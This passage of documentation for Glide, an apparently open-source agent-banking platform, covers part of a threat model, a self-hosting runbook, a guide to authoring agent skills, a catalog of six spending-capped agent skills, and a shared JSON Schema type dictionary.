| **F4 — Append-only `activity_log` trigger** | UPDATE/DELETE/TRUNCATE rejected unless `app.dsar_context_id` session var set. | Migration 0042 trigger |
| **F5 — Atomic policy\_version on signer rotation** | `vault.rotateSigner` advances `policy_version` in same tx as on-chain rotation. | `apps/web/src/server/lib/agent-multisig/` |
| **F7 — Sigil first-use-only** | URL-mode elicitation sigils CAS-claimed on first use; race losers reject. | `apps/mcp/src/step-up/` |
(F6 reserved.)
## New threats (T7–T15)
The v1 doc covered T1–T6. v2 adds:
* **T7 — Malicious connector PR (partner submission).** Mitigated by 8-gate CI matrix (DCO + manifest validation + contract-test runner + license-compat scan + supply-chain scans + egress-host lint + counsel review). See `CONTRIBUTING.md`. Egress-host + supply-chain scans land in M5.5+.
* **T8 — Sanctioned address slips through screening.** Mitigated by fail-closed `apps/web/src/server/lib/sanctions-screen.ts`: 24h cache with chain-scoped key, `SERVICE_UNAVAILABLE` on Chainalysis API error, `permissive` provider REFUSED in production unless explicit override.
* **T9 — Confused-deputy attack on MCP endpoints.** Mitigated by the cross-endpoint guard in `apps/mcp/src/server.ts` — read tokens cannot probe write/treasury before auth.
* **T10 — Malicious agent skill (consent under-disclosure).** Mitigated by `SkillContractTestSuite` consent under-disclosure guard + manual prompt-injection review checklist (verified-tier promotion).
* **T11 — DSAR redaction loophole.** Mitigated by admin-role check + `app.dsar_context_id` session var + `redacted_fields_bitmap` enforcement + `DSARContextEvent` audit row.
* **T12 — Mock-mode connector in production.** Mitigated by `createGlobalAdapters()` boot-time refusal under `NODE_ENV=production` + mock mode unless `GLIDE_ALLOW_MOCKS_IN_PROD=true` (M0 + M2).
* **T13 — License-incompatible connector PR.** Mitigated by license-compat scan (CI gate lands at M5.5+; matrix documented in `docs/LICENSE_COMPATIBILITY.md`).
* **T14 — Public standards URL squatting / impersonation.** Mitigated by Cloudflare Pages HTTPS + HSTS preload + `/draft/` channel pinning until 3+ independent implementers verified.
* **T15 — `demo.glide.dev` abuse vector.** Mitigated by mock-only credentials, ephemeral DB-per-session, per-IP + per-session rate limits, CORS-locked to demo origin, auto-shutdown on anomaly trip, banner disclaimer. Hosting deploy pending (M5.5 operational).
For per-surface coverage, see `apps/mcp/COMPLIANCE.md` (regulated-money-movement gateway) and `docs/agents/SELF_HOSTING.md` (operator runbook).
# Self-hosting Glide
Source: https://glide-9da73dea.mintlify.app/oss/self-hosting
Operator runbook for running Glide outside Glide Cloud — env posture, deploy targets, operational keys, migrations, backups, observability, compliance disclaimers.
This guide is the source of truth for operating Glide outside of Glide Cloud. Read it before pointing real money at the stack.
## Honest positioning
Glide OSS is a **self-hostable orchestration shell**, not a self-hostable bank stack. You bring your own:
* **Privy Multi-tenant tenant** — auth + embedded wallets. OSS is Privy-only in v1; there is no swap-in alternative.
* **Bridge / Noah / Avenia / IDRX / etc. contracts** — fiat rails. The OSS Cathedral ships every connector adapter (`packages/connectors//`), but the vendor relationship is yours.
* **Chainalysis / TRM / Elliptic** — sanctions screening. The Chainalysis adapter ships under MIT; using it requires your own contract per the `DISCLAIMER.md` in the package.
* **Coinbase x402 facilitator** (optional) — required for the x402 payer/recipient flow that lands with M2.5.
* **Ory Hydra or BYO OAuth AS** (optional) — required for the M2.5 agent banking surface.
If a vendor you need isn't listed: see `packages/connectors/_base/` for the capability interface contracts. The OSS plan accepts community-contributed connectors per the M5 partner-PR flow.
## Start a local instance
With Docker, Node and pnpm installed, follow the repository prerequisites:
```bash theme={null}
git clone https://github.com/darshanbathija/axtior-neobank.git
cd axtior-neobank
pnpm install
docker compose up -d # Postgres 16, Redis 7, Inngest dev
bash scripts/generate-keys.sh > .env.keys # dev-only secrets
cat .env.keys >> apps/web/.env.local # then add Privy creds (see below)
bash scripts/run-agent-platform-migrations.sh # apply schema
GLIDE_USE_MOCK_CONNECTORS=true pnpm --filter web dev
# → open http://localhost:3000/health → {"status":"ok"}
```
Privy is the only required vendor for demo bring-up. Sign up at [privy.io](https://privy.io), create a Multi-tenant tenant, copy the App ID + App Secret into `.env.local`:
```env theme={null}
NEXT_PUBLIC_PRIVY_APP_ID=clxxxxxxxxxxxxxx
PRIVY_APP_SECRET=xxxxxxxxxxxxxxxxxxxx
```
For the alternative `npx`-flavored bring-up (M3 OSS scaffolder):
```bash theme={null}
npx create-glide-app my-glide
cd my-glide
docker compose up -d
# follow my-glide/README.md for the rest
```
## Environment posture
### Demo posture (zero real-money corridor)
```env theme={null}
NODE_ENV=development
GLIDE_USE_MOCK_CONNECTORS=true # forces sandbox variants of every connector
SCREENING_PROVIDER=chainalysis-mock # deterministic OFAC fixtures
BALANCE_PROVIDER=rpc-direct # zero-vendor balance reads (you supply RPCs)
SECRETS_BACKEND=env-file # default — reads from process.env
# RPCs (only when BALANCE_PROVIDER=rpc-direct)
ETHEREUM_RPC_URL=https://eth.llamarpc.com
BASE_RPC_URL=https://mainnet.base.org
SOLANA_RPC_URL=https://api.mainnet-beta.solana.com
```
### Production posture (real-money corridor)
```env theme={null}
NODE_ENV=production
SECRETS_BACKEND=doppler # or aws-sm / vault when those land
DOPPLER_TOKEN=...
DOPPLER_PROJECT=glide-prod
DOPPLER_CONFIG=production
# Vendor credentials — none can be missing without the boot-time fail-closed
# audit firing. See apps/web/src/server/adapters/index.ts for the contract.
NEXT_PUBLIC_PRIVY_APP_ID=...
PRIVY_APP_SECRET=...
CHAINALYSIS_API_KEY=...
ALCHEMY_API_KEY=...
BRIDGE_API_KEY=...
NOAH_API_KEY=...
# … etc per the connector you've activated for each vendor_tag
```
Run `pnpm glide doctor` after wiring env to confirm every layer is reachable.
## Operational keys
These keys support business and explicitly provisioned agent vaults. Personal accounts use verified Privy embedded wallets for deposits, sends, swaps and payouts; opening a personal account does not provision a treasury vault.
Glide Cloud AND self-hosters hold three EVM operational keys + one Solana recovery key. Per the M0 plan §"Operational keys detail":
| Key | What it can do | What it cannot do | Blast radius |
| --------------------------------------- | -------------------------------------------------------- | ---------------------------------------------------- | ------------------- |
| `TREASURY_OPERATOR_EVM_PRIVATE_KEY` | Signs the operator's own revenue-share Safe | Touch user vaults, originate user-tx | Operator's own Safe |
| `USER_MULTISIG_RELAYER_EVM_PRIVATE_KEY` | Broadcasts pre-signed M-of-N bundles | Originate calldata, modify tx, sign for users | Gas relay only |
| `GLIDE_RECOVERY_EVM_PRIVATE_KEY` | Propose owner-set / threshold changes on user 1/1 vaults | Execute without 72h Zodiac Delay timelock + non-veto | Recovery proposals |
| `GLIDE_RECOVERY_SOLANA_PRIVATE_KEY` | Propose Squads multisig recovery | Execute without timelock + non-veto | Recovery proposals |
**For development:** `bash scripts/generate-keys.sh` emits random hex/base58 placeholders. Pipe to `.env.local`.
**For production:** generate keys in a KMS (AWS KMS / HashiCorp Vault / GCP KMS). Never commit them, never let them touch shell history. Rotate per a documented cadence — start at quarterly for treasury / annual for recovery (the recovery cadence is balanced against the user-veto window).
## Deploy targets
The OSS Cathedral targets four reference deploy patterns. Each has its own pros/cons; pick the one that matches your operational comfort level.
### 1. Fly.io (recommended for solo self-hosters)
* **Web:** `apps/web` deploys via `fly launch` with the auto-detected Next.js builder.
* **Worker:** `apps/web` Inngest functions run inside the same Fly app.
* **MCP** (M2.5+): `apps/mcp` deploys as a separate Fly app.
* **Postgres:** Fly Postgres or Supabase.
* **Redis:** Upstash Redis (ships free tier; paid for prod).
```bash theme={null}
fly launch --copy-config --name my-glide-web
fly secrets set NEXT_PUBLIC_PRIVY_APP_ID=...
fly deploy
```
### 2. Railway
Single-region, push-to-deploy. Good for staging / non-US corridors.
### 3. Render
Long-history Heroku-replacement; good if you already have Render.
### 4. Bare Docker on a VPS
For operators who want infra control. The base `docker-compose.yml` boots Postgres + Redis + Inngest; `docker-compose.demo.yml` overlay layers in the demo posture.
```bash theme={null}
docker compose -f docker-compose.yml -f docker-compose.demo.yml up
```
A Kubernetes Helm chart is a stretch goal; not in M3.
## Migrations
Per `CLAUDE.md` §"Database migrations":
> **Migration files are the source of truth**, not `drizzle-kit generate`. All migrations under `apps/web/drizzle/*.sql` are hand-authored.
>
> **`apps/web/drizzle/meta/_journal.json` is NOT authoritative.** It tracks only the original 0000/0001 scaffold; every migration from 0002 onward applies via the custom runner.
For self-hosted upgrades, run the existing script:
```bash theme={null}
DATABASE_URL=postgres://... bash scripts/run-agent-platform-migrations.sh
```
The runner is forward-only. For rollback, restore from a backup. For staging environments, the standard pattern is: apply migrations → run smoke tests → cut over with DNS.
## Backups
The OSS Cathedral does NOT ship a backup orchestrator. The base posture:
* **Postgres:** rely on the deploy target's managed backup (Fly Postgres snapshots, RDS automated backups, etc.) at a minimum daily cadence with point-in-time recovery.
* **Redis:** ephemeral. Inngest job state is durable in Postgres; Redis is rate-limit + cache only.
* **Secrets:** the secrets backend (Doppler / AWS-SM / Vault) is the source of truth. The DB stores `secretRef`s, never plaintext.
For real-money corridors, layer on:
* **Off-site replica** in a different region.
* **Cold backup** (encrypted S3 Glacier / equivalent) at quarterly cadence at minimum.
* **Disaster-recovery rehearsal** at annual cadence.
## Observability
OSS ships:
* `/health` — liveness probe (200 OK with `{"status":"ok"}`).
* `/api/health` — readiness probe (Postgres + Redis + push reachability).
* Sentry hook in the fail-closed audit (M2). Set `SENTRY_DSN` to wire `@sentry/nextjs`.
Glide Cloud uses BetterStack; OSS users can pick anything that consumes a Sentry-compatible DSN. Glitchtip is a drop-in Sentry replacement.
A `/metrics` Prometheus endpoint + reference Grafana dashboards land in a follow-up milestone (per OSS plan §10).
## Compliance disclaimers
* **Sanctions screening:** `SCREENING_PROVIDER=permissive` is REFUSED under `NODE_ENV=production` unless `GLIDE_ALLOW_PERMISSIVE_SANCTIONS_IN_PROD=true` is explicitly set. Don't override unless you have a documented compensating control.
* **Mock connectors in production:** `GLIDE_USE_MOCK_CONNECTORS=true` is REFUSED under `NODE_ENV=production` unless `GLIDE_ALLOW_MOCKS_IN_PROD=true` is explicitly set. Reserved for staging / smoke tests against production-shaped infra.
* **AML posture:** every connector's manifest declares an `amlPosture` field. `pass-through` means the vendor handles AML; `vendor-screened` means the vendor + an upstream screening capability handle it; `unscreened` (only `sanctions-permissive`) means there is no AML coverage.
## Where to file issues
* Bugs / docs holes: GitHub issues on `axtior-neobank`.
* Security vulnerabilities: `security@axtior.com` per `SECURITY.md`.
* Connector partner submissions: see `CONTRIBUTING.md` (lands with M5).
## What's NOT in this doc
* Trust Console operator runbook (M4).
* Agent-platform / MCP setup (M2.5).
* Public standards URLs at `glide.co/schemas/agent-banking/v1/`.
* `glide partner submit` CLI flow (M5.5).
# Authoring an agent skill
Source: https://glide-9da73dea.mintlify.app/oss/skills/authoring
Partner-PR flow for adding a new agent skill at packages/skills//. SkillManifest schema, 4-tier policy presets, consent-disclosure guard.
Adding a new agent skill is the second flywheel beyond connectors. Skills sit on the agent platform's money-touching surface, so we ask for pre-PR alignment before you write code.
## Five-step flow
Use the [`new-skill` issue template](https://github.com/darshanbathija/axtior-neobank/issues/new?template=new-skill.yml). Include slug, runtimes, scopes, policy template, consent summary, and rationale.
The `SkillManifest` Zod schema is the source of truth for what a skill manifest must contain — slug, runtime compat, required scopes, policy template, consent summary, trust tier, publisher.
Closed vocabularies (`SkillTrustTier`, `SkillRuntime`, `SkillCategory`, `SkillScope`) are CODEOWNERS-protected. Adding a new entry requires `@glideco/policy-engine` to understand the same vocabulary.
```
packages/skills//
├── package.json
├── tsconfig.json
├── icon.svg
├── README.md
├── src/
│ ├── manifest.ts // SkillManifest object
│ ├── policy.ts // policy-template + per-tier presets
│ ├── index.ts // re-exports
│ └── __tests__/
│ └── contract.test.ts
```
Or use the CLI:
```bash theme={null}
glide partner submit ./my-skill --type=skill
```
The 4-tier policy preset pattern (every skill ships these):
```ts theme={null}
export const POLICY_PRESETS = {
supervise: { perTxMaxUsdCents: 10_000, dailyCapUsdCents: 100_000, ... },
rideAlong: { perTxMaxUsdCents: 25_000, dailyCapUsdCents: 250_000, ... },
trust: { perTxMaxUsdCents: 50_000, dailyCapUsdCents: 500_000, ... }, // package default
veteran: { perTxMaxUsdCents: 100_000, dailyCapUsdCents: 1_000_000, ... },
} as const satisfies Record;
```
Per-tier exposure must increase monotonically (`supervise < rideAlong < trust < veteran`). The contract test enforces this.
Extend `SkillContractTestSuite` from `@glideco/skills-base`:
```ts theme={null}
import { SkillContractTestSuite } from '@glideco/skills-base';
import { manifest } from '../manifest';
class MySkillSuite extends SkillContractTestSuite {
readonly manifest = manifest;
}
```
The suite asserts:
* Manifest validity vs `SkillManifest` v1.
* Policy template internal consistency (`perTxMax ≤ dailyCap`; non-zero `velocityCap.maxCount`).
* Scope sanity (no duplicates).
* **Consent under-disclosure guard.** If `requiredScopes` includes a money-touching scope (`payments:initiate`, `cards:manage`, `x402:pay`), `consentSummary` MUST mention payments / money / cards / `$` / `usd`.
Per the OSS plan §M5 prompt-injection review: a community-tier skill template that **under-discloses caps** OR **overrides displayed envelope behavior** is a security finding, not a feature.
The contract test catches the obvious cases. Reviewers catch subtler ones during the verified-tier promotion review.
Example consent summary that passes the under-disclosure guard:
> "Claude reads your QuickBooks Online invoices and drafts USD payments to your existing vendors, capped at $2,500 per transaction and $10,000 per day. Each payment requires your explicit approval before broadcast."
Compare to one that wouldn't pass:
> "A friendly skill that helps you stay organized." *(no money words; under-discloses)*
## Reading list
* [Agent skills catalog](/oss/skills/index) — every skill currently in the repo.
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — F-rules every skill inherits.
* [Threat model](/oss/security/threat-model) — T10 (malicious skill consent under-disclosure).
# Agent skills
Source: https://glide-9da73dea.mintlify.app/oss/skills/index
Auto-generated catalog of all 6 hero agent skills. Each skill ships with a manifest, 4-tier policy presets (supervise / ride-along / trust / veteran), and contract test.
Source-repository links require access to the private `glide-co/glide-mono` repository. Request access from Glide if a source link is unavailable.
Auto-generated by `scripts/generate-catalog-docs.mjs` from each `packages/skills//src/manifest.ts`. Don't edit by hand — re-run the script.
Total: **6** skills.
| Slug | Category | Runtimes | Trust | Status |
| ------------------------------------------------------------------------------------------------------------------------------------- | -------- | ---------------------------------------------- | ------ | ---------------------------------------------------- |
| [`ap-agent-chatgpt-xero`](https://github.com/glide-co/glide-mono/blob/main/packages/skills/ap-agent-chatgpt-xero/README.md) | ap | chatgpt-apps | `core` | 🚧 V3 Bucket 3.3 (Xero integration) + 3.4 (bill pay) |
| [`ap-agent-claude-quickbooks`](https://github.com/glide-co/glide-mono/blob/main/packages/skills/ap-agent-claude-quickbooks/README.md) | ap | claude-desktop | `core` | 🚧 V3 Bucket 3.3 (QBO integration) + 3.4 (bill pay) |
| [`market-research-cap`](https://github.com/glide-co/glide-mono/blob/main/packages/skills/market-research-cap/README.md) | x402 | claude-desktop, chatgpt-apps, openclaw, hermes | `core` | ✅ unblocked |
| [`payroll-co-signer`](https://github.com/glide-co/glide-mono/blob/main/packages/skills/payroll-co-signer/README.md) | payroll | claude-desktop, chatgpt-apps, vertex | `core` | 🚧 V2 Sprint 3-4 (payroll platform) |
| [`treasury-yield-agent`](https://github.com/glide-co/glide-mono/blob/main/packages/skills/treasury-yield-agent/README.md) | treasury | claude-desktop, chatgpt-apps, vertex | `core` | 🚧 V3 Bucket 1.8 / 4.4 (live DeFi yield) |
| [`trip-budget-chatgpt`](https://github.com/glide-co/glide-mono/blob/main/packages/skills/trip-budget-chatgpt/README.md) | consumer | chatgpt-apps | `core` | ✅ unblocked |
## Per-skill detail
### ap-agent-chatgpt-xero
> Same AP flow, ChatGPT's runtime, Xero's ledger.
* **Display name:** AP Agent (ChatGPT + Xero)
* **Category:** `ap`
* **Runtimes:** `chatgpt-apps`
* **Required scopes:** `accounts:read`, `payments:initiate`, `payments:simulate`, `beneficiary:write`, `audit:stream`
* **Trust tier:** `core`
* **Publisher:** Glide
* **Blocking dependency:** V3 Bucket 3.3 (Xero integration) + 3.4 (bill pay)
* **Policy default:** per-tx max **$2,500**; daily cap **$10,000**; velocity 20 tx / 60min
* **Source:** [`packages/skills/ap-agent-chatgpt-xero/`](https://github.com/glide-co/glide-mono/tree/main/packages/skills/ap-agent-chatgpt-xero/)
**Consent summary:** ChatGPT reads your Xero invoices and drafts USD payments to your existing vendors, capped at $2,500 per transaction and $10,000 per day. Each payment requires your explicit approval before broadcast.
### ap-agent-claude-quickbooks
> Let Claude draft vendor payments from QBO invoices.
* **Display name:** AP Agent (Claude + QuickBooks)
* **Category:** `ap`
* **Runtimes:** `claude-desktop`
* **Required scopes:** `accounts:read`, `payments:initiate`, `payments:simulate`, `beneficiary:write`, `audit:stream`
* **Trust tier:** `core`
* **Publisher:** Glide
* **Blocking dependency:** V3 Bucket 3.3 (QBO integration) + 3.4 (bill pay)
* **Policy default:** per-tx max **$2,500**; daily cap **$10,000**; velocity 20 tx / 60min
* **Source:** [`packages/skills/ap-agent-claude-quickbooks/`](https://github.com/glide-co/glide-mono/tree/main/packages/skills/ap-agent-claude-quickbooks/)
**Consent summary:** Claude reads your QuickBooks Online invoices and drafts USD payments to your existing vendors, capped at $2,500 per transaction and $10,000 per day. Each payment requires your explicit approval before broadcast.
### market-research-cap
> Pay web-API fees via x402 with a daily cap.
* **Display name:** Market Research (x402 cap)
* **Category:** `x402`
* **Runtimes:** `claude-desktop`, `chatgpt-apps`, `openclaw`, `hermes`
* **Required scopes:** `x402:pay`, `x402:receive`, `audit:stream`
* **Trust tier:** `core`
* **Publisher:** Glide
* **Policy default:** per-tx max **$0.5**; daily cap **$50**; velocity 200 tx / 60min
* **Source:** [`packages/skills/market-research-cap/`](https://github.com/glide-co/glide-mono/tree/main/packages/skills/market-research-cap/)
**Consent summary:** Agents can pay paywalled web APIs via x402 micropayments. Each call is capped at 50¢ and the daily total at \$50. Charges go through your linked Glide account.
### payroll-co-signer
> Review and co-sign a monthly payroll batch.
* **Display name:** Payroll Co-signer
* **Category:** `payroll`
* **Runtimes:** `claude-desktop`, `chatgpt-apps`, `vertex`
* **Required scopes:** `accounts:read`, `payments:initiate`, `payments:simulate`, `audit:stream`
* **Trust tier:** `core`
* **Publisher:** Glide
* **Blocking dependency:** V2 Sprint 3-4 (payroll platform)
* **Policy default:** per-tx max **$15,000**; daily cap **$300,000**; velocity 500 tx / 60min
* **Source:** [`packages/skills/payroll-co-signer/`](https://github.com/glide-co/glide-mono/tree/main/packages/skills/payroll-co-signer/)
**Consent summary:** The agent renders your monthly payroll batch with anomaly signals, then broadcasts USD payments to your employees on your approval. Per-paycheck cap $15,000; full-batch daily cap $300,000.
### treasury-yield-agent
> Rebalance stablecoin yield across Aave/Morpho/Kamino.
* **Display name:** Treasury Yield Agent
* **Category:** `treasury`
* **Runtimes:** `claude-desktop`, `chatgpt-apps`, `vertex`
* **Required scopes:** `accounts:read`, `treasury:yield-allocate`, `audit:stream`
* **Trust tier:** `core`
* **Publisher:** Glide
* **Blocking dependency:** V3 Bucket 1.8 / 4.4 (live DeFi yield)
* **Policy default:** per-tx max **$50,000**; daily cap **$250,000**; velocity 5 tx / 60min
* **Source:** [`packages/skills/treasury-yield-agent/`](https://github.com/glide-co/glide-mono/tree/main/packages/skills/treasury-yield-agent/)
**Consent summary:** The agent moves USDC between Aave/Morpho/Kamino vaults to chase yield. Each rebalance is capped at \$50,000 and only target vaults you have pre-approved. No payments to external addresses.
### trip-budget-chatgpt
> Issue a scoped virtual card for a weekend. Auto-revoke Sunday 6pm.
* **Display name:** Trip Budget (ChatGPT)
* **Category:** `consumer`
* **Runtimes:** `chatgpt-apps`
* **Required scopes:** `accounts:read`, `cards:manage`, `payments:simulate`, `audit:stream`
* **Trust tier:** `core`
* **Publisher:** Glide
* **Policy default:** per-tx max **$1,000**; daily cap **$3,000**; velocity 30 tx / 60min
* **Source:** [`packages/skills/trip-budget-chatgpt/`](https://github.com/glide-co/glide-mono/tree/main/packages/skills/trip-budget-chatgpt/)
**Consent summary:** ChatGPT issues a virtual card scoped to your trip with merchant-category filters and an auto-revoke deadline. Card charges are capped at $1,000 per transaction and $3,000 per day.
# Shared type primitives (_types)
Source: https://glide-9da73dea.mintlify.app/oss/standards/_types
The $defs catalog referenced via $ref by every other agent-banking schema. Timestamps, IDs, money amounts, addresses, and closed-enum vocabularies.
`_types.json` is the shared type dictionary for the entire `glide.co/schemas/agent-banking/v1/` vocabulary. No application data lives here — it is purely a `$defs` block. Every other schema in the set imports from it via `$ref: "_types.json#/$defs/"`. This keeps the wire format self-consistent: when `uuidV4` gains a clarifying description, every schema that references it inherits the update in one place.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/_types.json`](https://glide.co/schemas/agent-banking/v1/_types.json)
## Type catalog
### Scalar types
| `$defs` key | Underlying type | Constraint summary | Reused across |
| --------------------- | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- |
| `uuidV4` | `string` | RFC 4122 UUID (v1–v8 accepted; also accepts all-zero and all-F sentinels used by seed scripts). Lowercase recommended; the pattern accepts mixed-case. | `ScopedGrantClaims`, `AgentActivityEvent`, `Receipt`, `AgentPolicyEnvelope` |
| `isoDateTimeUtc` | `string` | ISO 8601 / RFC 3339 instant in UTC. **`Z` suffix is REQUIRED.** Offsets like `+00:00` are rejected to keep the wire format unambiguous across tRPC, MCP, JWT, and Privy serialization boundaries. | `AgentActivityEvent.timestamp`, `AgentPolicyEnvelope.time_window_*`, `Receipt.timestamp` |
| `unixSecondsPositive` | `integer` | Unix epoch seconds (UTC), strictly positive. Used for JWT `iat`/`nbf`/`exp` per RFC 7519 §2 `NumericDate`. | `ScopedGrantClaims.iat`, `nbf`, `exp` |
| `amountCents` | `integer` | Money amount in minor units (USD cents). Non-negative; max is `Number.MAX_SAFE_INTEGER`. USDC has 6 decimals — Glide normalizes to 1e-2 USD = 1 cent in policy evaluation (see `lib/usdc-units.ts`). **Never use a float for money.** | `AgentPolicyEnvelope` caps, `Receipt.amount_cents` |
| `nonNegativeInt` | `integer` | Non-negative integer, max `Number.MAX_SAFE_INTEGER`. | `ScopedGrantClaims.policy_version`, `AgentPolicyEnvelope.policy_version` |
| `positiveInt` | `integer` | Strictly positive integer, max `Number.MAX_SAFE_INTEGER`. | Velocity caps in `AgentPolicyEnvelope` |
### String-format types
| `$defs` key | Format | Notes | Reused across |
| --------------- | ------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- |
| `currencyCode` | `string` (3–8 chars, `[A-Za-z][A-Za-z0-9]{2,7}`) | ISO 4217 alpha-3 fiat (`USD`, `EUR`) or stablecoin symbol (`USDC`, `PYUSD`). Case-insensitive on input; normalized to uppercase server-side. | `Receipt.currency`, `ConnectorManifest.currencies` |
| `iso3166Alpha2` | `string` (`[A-Z]{2}`) | ISO 3166-1 alpha-2 country code, uppercase. | `AgentPolicyEnvelope.geo_allowlist`, `ConnectorManifest.regions` |
| `regionCode` | `string` (`[A-Z]{2,8}`) | ISO 3166-1 alpha-2 OR a broader region tag (`EU`, `LATAM`, `APAC`, `GLOBAL`). Used where connector/skill region granularity is broader than per-country. | `ConnectorManifest.compliance.dataResidency` |
| `ianaTimezone` | `string` (1–64 chars) | IANA tz database name (e.g. `America/New_York`, `UTC`). Loose pattern — the policy engine resolves via `Intl.DateTimeFormat` at evaluation time and fails closed on unknown zones. | `AgentPolicyEnvelope` (time-window helpers) |
| `mccCode` | `string` (`[0-9]{4}`) | ISO 18245 Merchant Category Code: exactly 4 ASCII digits. `ABCD` is rejected (letters, not digits). | `AgentPolicyEnvelope.mcc_allowlist`, `mcc_blocklist` |
| `hostname` | `string` (1–253 chars, RFC 1123) | DNS hostname — lowercase, no trailing dot, no scheme, no path. Used for egress-host allowlists; URLs are not valid here. | `ConnectorManifest.egressHosts` |
| `httpsUrl` | `string` (URI, `^https://`) | Absolute `https://` URL. The `http:` scheme is rejected to prevent silent downgrade attacks on manifest links. Max 2048 chars. | `ConnectorManifest.homepage`, `changelogUrl` |
| `kebabSlug` | `string` (`[a-z0-9][a-z0-9-]*`, 1–64 chars) | Lowercase kebab-case identifier. Shows up in URLs and package directory names. | `ConnectorManifest.slug`, `SkillManifest.skillId` |
| `semver` | `string` (5–64 chars, SemVer 2.0.0) | Semantic Versioning 2.0.0 string. Build metadata and prerelease labels allowed. | `ConnectorManifest.packageVersion` |
### Address types
| `$defs` key | Format | Notes | Reused across |
| --------------- | ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------- |
| `evmAddress` | `string` (`^0x[0-9a-fA-F]{40}$`) | 0x-prefixed 20-byte Ethereum-style address. Mixed-case allowed; EIP-55 checksum is verified server-side, not in the schema. | `Receipt.counterparty_address`, `AgentPolicyEnvelope.counterparty_allowlist` |
| `solanaAddress` | `string` (`[1-9A-HJ-NP-Za-km-z]{32,44}`) | Solana base58 public key. Base58 alphabet excludes `0`, `O`, `I`, `l`. | `Receipt.counterparty_address`, `AgentPolicyEnvelope.counterparty_allowlist` |
| `chainAddress` | `evmAddress \| solanaAddress` | Union of the two address types. The accompanying `chain` field disambiguates which form applies. | Counterparty fields across schemas |
| `txHash` | `string` (1–128 chars) | On-chain transaction identifier. EVM: 0x-prefixed 32-byte hex (66 chars). Solana: base58 signature (typically 87–88 chars). Server fetches and re-derives this from chain RPC — never trust a value passed in via a facilitator response body. | `Receipt.on_chain_tx` |
### Closed-enum vocabularies
| `$defs` key | Values | Notes |
| ------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `chainId` | `eth`, `base`, `arb`, `op`, `polygon`, `sol`, `tempo`, `stellar` | Supported EVM L1/L2, Solana, Machine Payments Protocol L1 (tempo), and Stellar (Soroban). `bsc` is deliberately excluded: USDC on BSC has 18 decimals vs 6 everywhere else, which would silently 10^12-underflow amount-in-cents math in policy evaluation. Re-enabling requires `lib/usdc-units.ts` to branch on chain first. |
| `agentScope` | `accounts:read`, `agents:read`, `payments:initiate`, `payments:simulate`, `cards:manage`, `agent:budget:create`, `agent:budget:revoke`, `beneficiary:read`, `beneficiary:write`, `kyc:start`, `x402:pay`, `x402:receive`, `audit:stream`, `treasury:rotate-signer`, `treasury:yield-allocate` | Closed vocabulary for grant scopes. Adding a value is a CODEOWNERS-protected change — the policy-engine evaluator must understand the same vocabulary. Wildcard scopes (`treasury:*`) deferred to v1.5. |
| `agentActivityEventKind` | `tool_call`, `reasoning_step`, `risk_verdict`, `anomaly_detected`, `consent_prompt`, `consent_granted`, `consent_denied`, `step_up_required`, `step_up_completed`, `policy_violation`, `grant_issued`, `grant_revoked`, `kill_switch_triggered` | Closed vocabulary for Trust Console event taxonomy. Producers MUST emit one of these; unknown values drop the event at ingest. |
| `trustTier` | `community`, `verified`, `core` | Quality-based trust tier. `community` is off by default (requires explicit env-var unlock); `verified` ships enabled with per-tenant opt-in; `core` is Glide-maintained reference code. |
| `riskVerdict` | `allow`, `allow_with_step_up`, `deny` | Policy-engine verdict. `allow_with_step_up` means step-up auth is required and has not yet been completed. |
| `amlPosture` | `vendor-screened`, `pass-through`, `unscreened` | Vendor AML/sanctions posture. `unscreened` is only valid for community-tier mock connectors. |
| `connectorCapability` | `orchestration`, `kyc`, `card`, `screening`, `chain-receipt`, `balance`, `auth`, `banking`, `qr-gateway`, `oauth-authorization-server`, `attestation`, `merkle-anchor`, `timelock-module`, `recovery` | Connector capability vocabulary. A capability NOT in this enum is rejected at registry boot — adding one requires a schema migration. |
| `skillRuntime` | `claude-desktop`, `chatgpt-apps`, `vertex`, `openclaw`, `hermes` | Agent runtimes a skill targets. |
| `skillCategory` | `ap`, `treasury`, `consumer`, `payroll`, `x402` | Skill categories surfaced in the catalog. |
| `skillScope` | Strict subset of `agentScope` — excludes `agent:budget:create`, `agent:budget:revoke`, `treasury:rotate-signer` | Administrative scopes may only be granted via in-app admin actions, not via a skill manifest request. |
## Note on `chainId` and the Zod source
As of v1.0.x, the Zod source and the published JSON Schema are in sync for both `chainId` (8 values: `eth`, `base`, `arb`, `op`, `polygon`, `sol`, `tempo`, `stellar`) and `agentScope` (15 values). Any future axis additions begin in Zod and propagate to the JSON Schema in the next minor release per the versioning contract (new enum values are forward-compatible additions).
## Example
```ts theme={null}
import { z } from 'zod';
// Types are re-exported from @glideco/schemas:
import {
uuidSchema,
isoDateTimeSchema,
amountCentsSchema,
chainIdSchema,
currencyCodeSchema,
} from '@glideco/schemas';
// Use directly in your own schema:
const MyPaymentRecord = z.object({
id: uuidSchema,
settledAt: isoDateTimeSchema,
amountCents: amountCentsSchema,
chain: chainIdSchema,
currency: currencyCodeSchema,
});
MyPaymentRecord.parse({
id: '11111111-1111-4111-8111-111111111111',
settledAt: '2026-05-04T12:00:00.000Z',
amountCents: 25000, // $250.00
chain: 'base',
currency: 'USDC',
});
```
## Validation
Primitives in this file are not directly validated in isolation — they are referenced by other schemas. To validate a `$ref` chain against the canonical document:
```bash theme={null}
npx ajv-cli validate \
-s https://glide.co/schemas/agent-banking/v1/agent-activity-event.json \
--ref https://glide.co/schemas/agent-banking/v1/_types.json \
-d ./my-event.json
```
Pass `--ref` for every schema that `$ref`s `_types.json` — AJV resolves `$ref` relative URIs from the `$id` of the referencing document, but some toolchains require explicit pre-loading.
## Common pitfalls
* **Using floats for `amountCents`.** The JSON Schema and Zod source both require `integer`. IEEE-754 floats lose precision above $90 trillion; `250.00` is parsed as the integer `250`, so an integer check alone cannot catch a dollars-versus-cents mistake. Use `25000` cents for $250.
